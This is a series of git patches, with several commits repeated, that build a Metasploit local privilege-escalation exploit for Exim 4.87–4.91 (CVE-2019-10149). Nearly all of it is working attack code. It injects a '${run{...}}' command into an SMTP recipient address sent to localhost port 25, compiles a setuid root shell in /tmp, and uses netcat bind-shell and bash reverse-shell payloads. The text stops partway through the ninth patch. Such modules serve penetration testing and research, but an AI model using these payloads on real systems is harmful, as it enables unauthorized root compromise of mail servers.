From c1cf728507c40418fb9e8e57ff010194cf7ac090 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 20 Jun 2019 12:17:38 +0100 Subject: [PATCH 01/39] First commit Change-Id: If751eb1753fc8991fe7971c7123a203734396a46 --- .../exploits/linux/local/exim4_priv_esc.rb | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 modules/exploits/linux/local/exim4_priv_esc.rb diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb new file mode 100644 index 0000000000..3432c9deb3 --- /dev/null +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', + 'Description' => %q{}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Guillaume Andre' # Metasploit module + ], + 'DisclosureDate' => '2019-06-17', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + ['Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'References' => + [ + [ 'CVE', '2019-10149' ], + ] + )) + register_advanced_options [ + ] + end + + def check + res = cmd_exec 'exim -bV' + if (res =~ /Exim version ([0-9\.]*) /i) # Maybe improve the regex + version = Gem::Version.new($1) + if (version >= target[:lower_version] && version <= target[:upper_version]) + return CheckCode::Appears + end + end + CheckCode::Unknown + end + + def exploit + end +end From c8786e181fc50766a2299b8581817e1c92ead503 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 20 Jun 2019 16:53:43 +0100 Subject: [PATCH 02/39] First version of the exploit is now working Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11 --- .../exploits/linux/local/exim4_priv_esc.rb | 97 ++++++++++++++----- 1 file changed, 73 insertions(+), 24 deletions(-) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb index 3432c9deb3..e9f86bbc0c 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -8,38 +8,40 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Linux::Priv - include Msf::Post::Linux::System - include Msf::Post::Linux::Kernel - include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', 'Description' => %q{}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Guillaume Andre' # Metasploit module - ], - 'DisclosureDate' => '2019-06-17', - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => - [ - ['Exim 4.87 - 4.91', - lower_version: Gem::Version.new('4.87'), - upper_version: Gem::Version.new('4.91') - ] - ], - 'References' => - [ - [ 'CVE', '2019-10149' ], - ] + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Marco Ivaldi', # Working exploit + 'Guillaume Andre' # Metasploit module + ], + 'DisclosureDate' => '2019-06-05', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + ['Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'References' => + [ + [ 'CVE', '2019-10149' ], + ] )) register_advanced_options [ ] + + @SUID_SHELL = '/tmp/suid_shell' + @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fsuid_shell\x3bchmod\t4755\t\x2ftmp\x2fsuid_shell\x22}}@localhost' + @PAYLOAD_NETCAT = '${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost' end def check @@ -48,11 +50,58 @@ class MetasploitModule < Msf::Exploit::Local version = Gem::Version.new($1) if (version >= target[:lower_version] && version <= target[:upper_version]) return CheckCode::Appears + else + return CheckCode::Safe end + CheckCode::Unknown end - CheckCode::Unknown + end + + def inject_payload(payload) + res = cmd_exec 'exec 3<>/dev/tcp/localhost/25' + #puts res + + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "helo localhost" >&3' + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "mail from:<>" >&3' + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec "echo 'rcpt to:<#{payload}>' >&3" + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "data" >&3' + cmd_exec 'read -u 3 && echo $REPLY' + for i in (1..31) + cmd_exec "echo 'Received: #{i}' >&3" + end + cmd_exec 'echo "." >&3' + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "quit" >&3' + cmd_exec 'read -u 3 && echo $REPLY' end def exploit + shell_c_code = %| + #include + #include + + int main() { + setuid(0); + setgid(0); + execve("/bin/bash", NULL, NULL); + return 0; + } + | + + + write_file("#{@SUID_SHELL}.c", shell_c_code) + cmd_exec "gcc -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1" + inject_payload @PAYLOAD_SETUID + cmd_exec @SUID_SHELL + + if is_root? + print_status('You are now root, enjoy!') + else + print_error('Couldn\'t elevate privileges...') + end end end From 6b39bec4fc830333abfa06721a3794614f1551a9 Mon Sep 17 00:00:00 2001 From: yaumn Date: Thu, 20 Jun 2019 23:21:19 +0100 Subject: [PATCH 03/39] Add netcat method (still buggy though) --- .../exploits/linux/local/exim4_priv_esc.rb | 63 ++++++++++++------- 1 file changed, 39 insertions(+), 24 deletions(-) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb index e9f86bbc0c..c3a3250d6c 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -46,9 +46,9 @@ class MetasploitModule < Msf::Exploit::Local def check res = cmd_exec 'exim -bV' - if (res =~ /Exim version ([0-9\.]*) /i) # Maybe improve the regex + if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex version = Gem::Version.new($1) - if (version >= target[:lower_version] && version <= target[:upper_version]) + if version >= target[:lower_version] && version <= target[:upper_version] return CheckCode::Appears else return CheckCode::Safe @@ -58,29 +58,32 @@ class MetasploitModule < Msf::Exploit::Local end def inject_payload(payload) - res = cmd_exec 'exec 3<>/dev/tcp/localhost/25' - #puts res + res = cmd_exec('exec 3<>/dev/tcp/localhost/25') - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "helo localhost" >&3' - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "mail from:<>" >&3' - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec "echo 'rcpt to:<#{payload}>' >&3" - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "data" >&3' - cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "helo localhost" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "mail from:<>" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec("echo 'rcpt to:<#{payload}>' >&3") + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "data" >&3') + cmd_exec('read -u 3 && echo $REPLY') for i in (1..31) - cmd_exec "echo 'Received: #{i}' >&3" + cmd_exec("echo 'Received: #{i}' >&3") end - cmd_exec 'echo "." >&3' - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "quit" >&3' - cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec('echo "." >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "quit" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('exec 3<&-') + + print_status('Payload sent, crossing fingers...') + sleep(5) end def exploit - shell_c_code = %| + shell_c_code = %| #include #include @@ -92,16 +95,28 @@ class MetasploitModule < Msf::Exploit::Local } | - write_file("#{@SUID_SHELL}.c", shell_c_code) - cmd_exec "gcc -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1" - inject_payload @PAYLOAD_SETUID - cmd_exec @SUID_SHELL + #register_files_for_cleanup("#{@SUID_SHELL}.c") + cmd_exec("gcac -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1") + #register_files_for_cleanup(@SUID_SHELL) + inject_payload(@PAYLOAD_SETUID) + cmd_exec(@SUID_SHELL) if is_root? print_status('You are now root, enjoy!') + return + end + + print_status('Couldn\'t elevate privileges, trying netcat method') + + inject_payload(@PAYLOAD_NETCAT) + cmd_exec('nc -v 127.0.0.1 13371') + + if is_root? + print_status('You are now root, enjoy!') + return else print_error('Couldn\'t elevate privileges...') end - end + end end From 9e056601eb15a8676e6926937de5044bcaae1b10 Mon Sep 17 00:00:00 2001 From: yaumn Date: Mon, 24 Jun 2019 08:11:13 +0100 Subject: [PATCH 04/39] Exploits now also works with netcat --- .../exploits/linux/local/exim4_priv_esc.rb | 39 +++++++++++++------ 1 file changed, 27 insertions(+), 12 deletions(-) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb index c3a3250d6c..ba18e7c3cf 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local @SUID_SHELL = '/tmp/suid_shell' @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fsuid_shell\x3bchmod\t4755\t\x2ftmp\x2fsuid_shell\x22}}@localhost' - @PAYLOAD_NETCAT = '${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost' + @PAYLOAD_BASH = '${run{\x2fbin\x2fsh\t-c\t\x22bash\t-i\t\x3e\x26\t\x2fdev\x2ftcp\x2f127.0.0.1\x2f13371\t0\x3e\x261\x22}}@localhost' end def check @@ -78,11 +78,12 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec('read -u 3 && echo $REPLY') cmd_exec('exec 3<&-') - print_status('Payload sent, crossing fingers...') + print_status('Payload sent, wait a few seconds...') sleep(5) end def exploit + print_status('Trying setuid method to escalate privileges') shell_c_code = %| #include #include @@ -97,26 +98,40 @@ class MetasploitModule < Msf::Exploit::Local write_file("#{@SUID_SHELL}.c", shell_c_code) #register_files_for_cleanup("#{@SUID_SHELL}.c") - cmd_exec("gcac -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1") + cmd_exec("gcc -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1") #register_files_for_cleanup(@SUID_SHELL) - inject_payload(@PAYLOAD_SETUID) - cmd_exec(@SUID_SHELL) + #inject_payload(@PAYLOAD_SETUID) + #cmd_exec(@SUID_SHELL) if is_root? - print_status('You are now root, enjoy!') + print_good('You are now root, enjoy!') return end - print_status('Couldn\'t elevate privileges, trying netcat method') + print_status('Couldn\'t escalate privileges, trying netcat method') - inject_payload(@PAYLOAD_NETCAT) - cmd_exec('nc -v 127.0.0.1 13371') + # If nc does not have the -e option, try with nc.traditional + netcat = '' + if !(cmd_exec('which nc') =~ /no nc/) && !(cmd_exec('nc -e 2>&1') =~ /invalid option/) + netcat = 'nc' + elsif !(cmd_exec('which nc.traditional') =~ /no nc.traditional/) + netcat = 'nc.traditional' + end + + # If neither nc or nc.traditional can be used, try with bash + if netcat == '' + print_error('Neither nc nor nc.traditional could be used') + return + end + + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat + '\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost') + cmd_exec("nc 127.0.0.1 13371") if is_root? - print_status('You are now root, enjoy!') + print_good('You are now root, enjoy!') return else - print_error('Couldn\'t elevate privileges...') + print_error('Couldn\'t escalate privileges...') end - end + end end From bef6425d0e7b911d5418f477e3b851b6d5509ab1 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 20 Jun 2019 12:17:38 +0100 Subject: [PATCH 05/39] First commit Change-Id: If751eb1753fc8991fe7971c7123a203734396a46 --- .../exploits/linux/local/exim4_priv_esc.rb | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 modules/exploits/linux/local/exim4_priv_esc.rb diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb new file mode 100644 index 0000000000..3432c9deb3 --- /dev/null +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -0,0 +1,58 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', + 'Description' => %q{}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Guillaume Andre' # Metasploit module + ], + 'DisclosureDate' => '2019-06-17', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + ['Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'References' => + [ + [ 'CVE', '2019-10149' ], + ] + )) + register_advanced_options [ + ] + end + + def check + res = cmd_exec 'exim -bV' + if (res =~ /Exim version ([0-9\.]*) /i) # Maybe improve the regex + version = Gem::Version.new($1) + if (version >= target[:lower_version] && version <= target[:upper_version]) + return CheckCode::Appears + end + end + CheckCode::Unknown + end + + def exploit + end +end From a2411a1d63782913bc55a971eda772c37430bdd7 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 20 Jun 2019 16:53:43 +0100 Subject: [PATCH 06/39] First version of the exploit is now working Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11 --- .../exploits/linux/local/exim4_priv_esc.rb | 97 ++++++++++++++----- 1 file changed, 73 insertions(+), 24 deletions(-) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb index 3432c9deb3..e9f86bbc0c 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -8,38 +8,40 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Linux::Priv - include Msf::Post::Linux::System - include Msf::Post::Linux::Kernel - include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', 'Description' => %q{}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Guillaume Andre' # Metasploit module - ], - 'DisclosureDate' => '2019-06-17', - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => - [ - ['Exim 4.87 - 4.91', - lower_version: Gem::Version.new('4.87'), - upper_version: Gem::Version.new('4.91') - ] - ], - 'References' => - [ - [ 'CVE', '2019-10149' ], - ] + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Marco Ivaldi', # Working exploit + 'Guillaume Andre' # Metasploit module + ], + 'DisclosureDate' => '2019-06-05', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + ['Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'References' => + [ + [ 'CVE', '2019-10149' ], + ] )) register_advanced_options [ ] + + @SUID_SHELL = '/tmp/suid_shell' + @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fsuid_shell\x3bchmod\t4755\t\x2ftmp\x2fsuid_shell\x22}}@localhost' + @PAYLOAD_NETCAT = '${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost' end def check @@ -48,11 +50,58 @@ class MetasploitModule < Msf::Exploit::Local version = Gem::Version.new($1) if (version >= target[:lower_version] && version <= target[:upper_version]) return CheckCode::Appears + else + return CheckCode::Safe end + CheckCode::Unknown end - CheckCode::Unknown + end + + def inject_payload(payload) + res = cmd_exec 'exec 3<>/dev/tcp/localhost/25' + #puts res + + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "helo localhost" >&3' + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "mail from:<>" >&3' + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec "echo 'rcpt to:<#{payload}>' >&3" + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "data" >&3' + cmd_exec 'read -u 3 && echo $REPLY' + for i in (1..31) + cmd_exec "echo 'Received: #{i}' >&3" + end + cmd_exec 'echo "." >&3' + cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec 'echo "quit" >&3' + cmd_exec 'read -u 3 && echo $REPLY' end def exploit + shell_c_code = %| + #include + #include + + int main() { + setuid(0); + setgid(0); + execve("/bin/bash", NULL, NULL); + return 0; + } + | + + + write_file("#{@SUID_SHELL}.c", shell_c_code) + cmd_exec "gcc -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1" + inject_payload @PAYLOAD_SETUID + cmd_exec @SUID_SHELL + + if is_root? + print_status('You are now root, enjoy!') + else + print_error('Couldn\'t elevate privileges...') + end end end From 4f1d9af5fddca91b3ea389b842671a14eae42f00 Mon Sep 17 00:00:00 2001 From: yaumn Date: Thu, 20 Jun 2019 23:21:19 +0100 Subject: [PATCH 07/39] Add netcat method (still buggy though) --- .../exploits/linux/local/exim4_priv_esc.rb | 63 ++++++++++++------- 1 file changed, 39 insertions(+), 24 deletions(-) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb index e9f86bbc0c..c3a3250d6c 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -46,9 +46,9 @@ class MetasploitModule < Msf::Exploit::Local def check res = cmd_exec 'exim -bV' - if (res =~ /Exim version ([0-9\.]*) /i) # Maybe improve the regex + if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex version = Gem::Version.new($1) - if (version >= target[:lower_version] && version <= target[:upper_version]) + if version >= target[:lower_version] && version <= target[:upper_version] return CheckCode::Appears else return CheckCode::Safe @@ -58,29 +58,32 @@ class MetasploitModule < Msf::Exploit::Local end def inject_payload(payload) - res = cmd_exec 'exec 3<>/dev/tcp/localhost/25' - #puts res + res = cmd_exec('exec 3<>/dev/tcp/localhost/25') - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "helo localhost" >&3' - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "mail from:<>" >&3' - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec "echo 'rcpt to:<#{payload}>' >&3" - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "data" >&3' - cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "helo localhost" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "mail from:<>" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec("echo 'rcpt to:<#{payload}>' >&3") + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "data" >&3') + cmd_exec('read -u 3 && echo $REPLY') for i in (1..31) - cmd_exec "echo 'Received: #{i}' >&3" + cmd_exec("echo 'Received: #{i}' >&3") end - cmd_exec 'echo "." >&3' - cmd_exec 'read -u 3 && echo $REPLY' - cmd_exec 'echo "quit" >&3' - cmd_exec 'read -u 3 && echo $REPLY' + cmd_exec('echo "." >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('echo "quit" >&3') + cmd_exec('read -u 3 && echo $REPLY') + cmd_exec('exec 3<&-') + + print_status('Payload sent, crossing fingers...') + sleep(5) end def exploit - shell_c_code = %| + shell_c_code = %| #include #include @@ -92,16 +95,28 @@ class MetasploitModule < Msf::Exploit::Local } | - write_file("#{@SUID_SHELL}.c", shell_c_code) - cmd_exec "gcc -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1" - inject_payload @PAYLOAD_SETUID - cmd_exec @SUID_SHELL + #register_files_for_cleanup("#{@SUID_SHELL}.c") + cmd_exec("gcac -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1") + #register_files_for_cleanup(@SUID_SHELL) + inject_payload(@PAYLOAD_SETUID) + cmd_exec(@SUID_SHELL) if is_root? print_status('You are now root, enjoy!') + return + end + + print_status('Couldn\'t elevate privileges, trying netcat method') + + inject_payload(@PAYLOAD_NETCAT) + cmd_exec('nc -v 127.0.0.1 13371') + + if is_root? + print_status('You are now root, enjoy!') + return else print_error('Couldn\'t elevate privileges...') end - end + end end From bb58160d10dd8b214630018d91f3ff0415d9e8de Mon Sep 17 00:00:00 2001 From: yaumn Date: Mon, 24 Jun 2019 08:11:13 +0100 Subject: [PATCH 08/39] Exploits now also works with netcat --- .../exploits/linux/local/exim4_priv_esc.rb | 39 +++++++++++++------ 1 file changed, 27 insertions(+), 12 deletions(-) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb index c3a3250d6c..ba18e7c3cf 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Local @SUID_SHELL = '/tmp/suid_shell' @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fsuid_shell\x3bchmod\t4755\t\x2ftmp\x2fsuid_shell\x22}}@localhost' - @PAYLOAD_NETCAT = '${run{\x2fbin\x2fsh\t-c\t\x22nc\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost' + @PAYLOAD_BASH = '${run{\x2fbin\x2fsh\t-c\t\x22bash\t-i\t\x3e\x26\t\x2fdev\x2ftcp\x2f127.0.0.1\x2f13371\t0\x3e\x261\x22}}@localhost' end def check @@ -78,11 +78,12 @@ class MetasploitModule < Msf::Exploit::Local cmd_exec('read -u 3 && echo $REPLY') cmd_exec('exec 3<&-') - print_status('Payload sent, crossing fingers...') + print_status('Payload sent, wait a few seconds...') sleep(5) end def exploit + print_status('Trying setuid method to escalate privileges') shell_c_code = %| #include #include @@ -97,26 +98,40 @@ class MetasploitModule < Msf::Exploit::Local write_file("#{@SUID_SHELL}.c", shell_c_code) #register_files_for_cleanup("#{@SUID_SHELL}.c") - cmd_exec("gcac -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1") + cmd_exec("gcc -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1") #register_files_for_cleanup(@SUID_SHELL) - inject_payload(@PAYLOAD_SETUID) - cmd_exec(@SUID_SHELL) + #inject_payload(@PAYLOAD_SETUID) + #cmd_exec(@SUID_SHELL) if is_root? - print_status('You are now root, enjoy!') + print_good('You are now root, enjoy!') return end - print_status('Couldn\'t elevate privileges, trying netcat method') + print_status('Couldn\'t escalate privileges, trying netcat method') - inject_payload(@PAYLOAD_NETCAT) - cmd_exec('nc -v 127.0.0.1 13371') + # If nc does not have the -e option, try with nc.traditional + netcat = '' + if !(cmd_exec('which nc') =~ /no nc/) && !(cmd_exec('nc -e 2>&1') =~ /invalid option/) + netcat = 'nc' + elsif !(cmd_exec('which nc.traditional') =~ /no nc.traditional/) + netcat = 'nc.traditional' + end + + # If neither nc or nc.traditional can be used, try with bash + if netcat == '' + print_error('Neither nc nor nc.traditional could be used') + return + end + + inject_payload('${run{\x2fbin\x2fsh\t-c\t\x22' + netcat + '\t-lp\t13371\t-e\t\x2fbin\x2fsh\x22}}@localhost') + cmd_exec("nc 127.0.0.1 13371") if is_root? - print_status('You are now root, enjoy!') + print_good('You are now root, enjoy!') return else - print_error('Couldn\'t elevate privileges...') + print_error('Couldn\'t escalate privileges...') end - end + end end From bddfef0cac8e56f017201bdfdf4c246d2001b66c Mon Sep 17 00:00:00 2001 From: yaumn Date: Thu, 4 Jul 2019 00:16:28 +0100 Subject: [PATCH 09/39] Add options. Exploits now works with both setuid and nc methods --- .../exploits/linux/local/exim4_priv_esc.rb | 99 +++++++++++-------- 1 file changed, 56 insertions(+), 43 deletions(-) diff --git a/modules/exploits/linux/local/exim4_priv_esc.rb b/modules/exploits/linux/local/exim4_priv_esc.rb index ba18e7c3cf..099bb487de 100644 --- a/modules/exploits/linux/local/exim4_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_priv_esc.rb @@ -12,40 +12,52 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info = {}) super(update_info(info, - 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', - 'Description' => %q{}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Marco Ivaldi', # Working exploit - 'Guillaume Andre' # Metasploit module - ], - 'DisclosureDate' => '2019-06-05', - 'Platform' => [ 'linux' ], - 'Arch' => [ ARCH_X86, ARCH_X64 ], - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => - [ - ['Exim 4.87 - 4.91', - lower_version: Gem::Version.new('4.87'), - upper_version: Gem::Version.new('4.91') - ] - ], - 'References' => - [ - [ 'CVE', '2019-10149' ], - ] - )) - register_advanced_options [ - ] + 'Name' => 'Exim 4.87 - 4.91 Privilege Escalation', + 'Description' => %q{ + This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). + Improper validation of recipient address in deliver_message() + function in /src/deliver.c may lead to remote command execution + (CVE-2019-10149). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Marco Ivaldi (@0xdea)', # Working exploit + 'Guillaume André (@yaumn_)' # Metasploit module + ], + 'DisclosureDate' => '2019-06-05', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ + 'Exim 4.87 - 4.91', + lower_version: Gem::Version.new('4.87'), + upper_version: Gem::Version.new('4.91') + ] + ], + 'References' => + [ + [ 'CVE', '2019-10149' ], + [ 'EDB', '46996' ] + ] + )) - @SUID_SHELL = '/tmp/suid_shell' - @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2fsuid_shell\x3bchmod\t4755\t\x2ftmp\x2fsuid_shell\x22}}@localhost' - @PAYLOAD_BASH = '${run{\x2fbin\x2fsh\t-c\t\x22bash\t-i\t\x3e\x26\t\x2fdev\x2ftcp\x2f127.0.0.1\x2f13371\t0\x3e\x261\x22}}@localhost' + register_advanced_options ( + [ + OptString.new('EXIMPATH', [true, 'The path to the exim executable (used to check for vulnerability)', + '/usr/bin/exim']), + OptInt.new('EXIMPORT', [true, 'The port exim is listening to', 25]) + ]) + + @SUID_SHELL = Rex::Text.rand_text_alpha(10) + @PAYLOAD_SETUID = '${run{\x2fbin\x2fsh\t-c\t\x22chown\troot\t\x2ftmp\x2f' + @SUID_SHELL\ + + '\x3bchmod\t4755\t\x2ftmp\x2f' + @SUID_SHELL + '\x22}}@localhost' end def check - res = cmd_exec 'exim -bV' + res = cmd_exec("#{datastore['EXIMPATH']} -bV") if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex version = Gem::Version.new($1) if version >= target[:lower_version] && version <= target[:upper_version] @@ -53,12 +65,12 @@ class MetasploitModule < Msf::Exploit::Local else return CheckCode::Safe end - CheckCode::Unknown end + CheckCode::Unknown end def inject_payload(payload) - res = cmd_exec('exec 3<>/dev/tcp/localhost/25') + res = cmd_exec("exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}") cmd_exec('read -u 3 && echo $REPLY') cmd_exec('echo "helo localhost" >&3') @@ -91,24 +103,24 @@ class MetasploitModule < Msf::Exploit::Local int main() { setuid(0); setgid(0); - execve("/bin/bash", NULL, NULL); + execve("/bin/sh", NULL, NULL); return 0; } | - write_file("#{@SUID_SHELL}.c", shell_c_code) - #register_files_for_cleanup("#{@SUID_SHELL}.c") - cmd_exec("gcc -o #{@SUID_SHELL} #{@SUID_SHELL}.c 2>&1") - #register_files_for_cleanup(@SUID_SHELL) - #inject_payload(@PAYLOAD_SETUID) - #cmd_exec(@SUID_SHELL) + write_file("/tmp/#{@SUID_SHELL}.c", shell_c_code) + cmd_exec("gcc -o /tmp/#{@SUID_SHELL} /tmp/#{@SUID_SHELL}.c 2>&1") + inject_payload(@PAYLOAD_SETUID) + cmd_exec("/tmp/#{@SUID_SHELL}") + 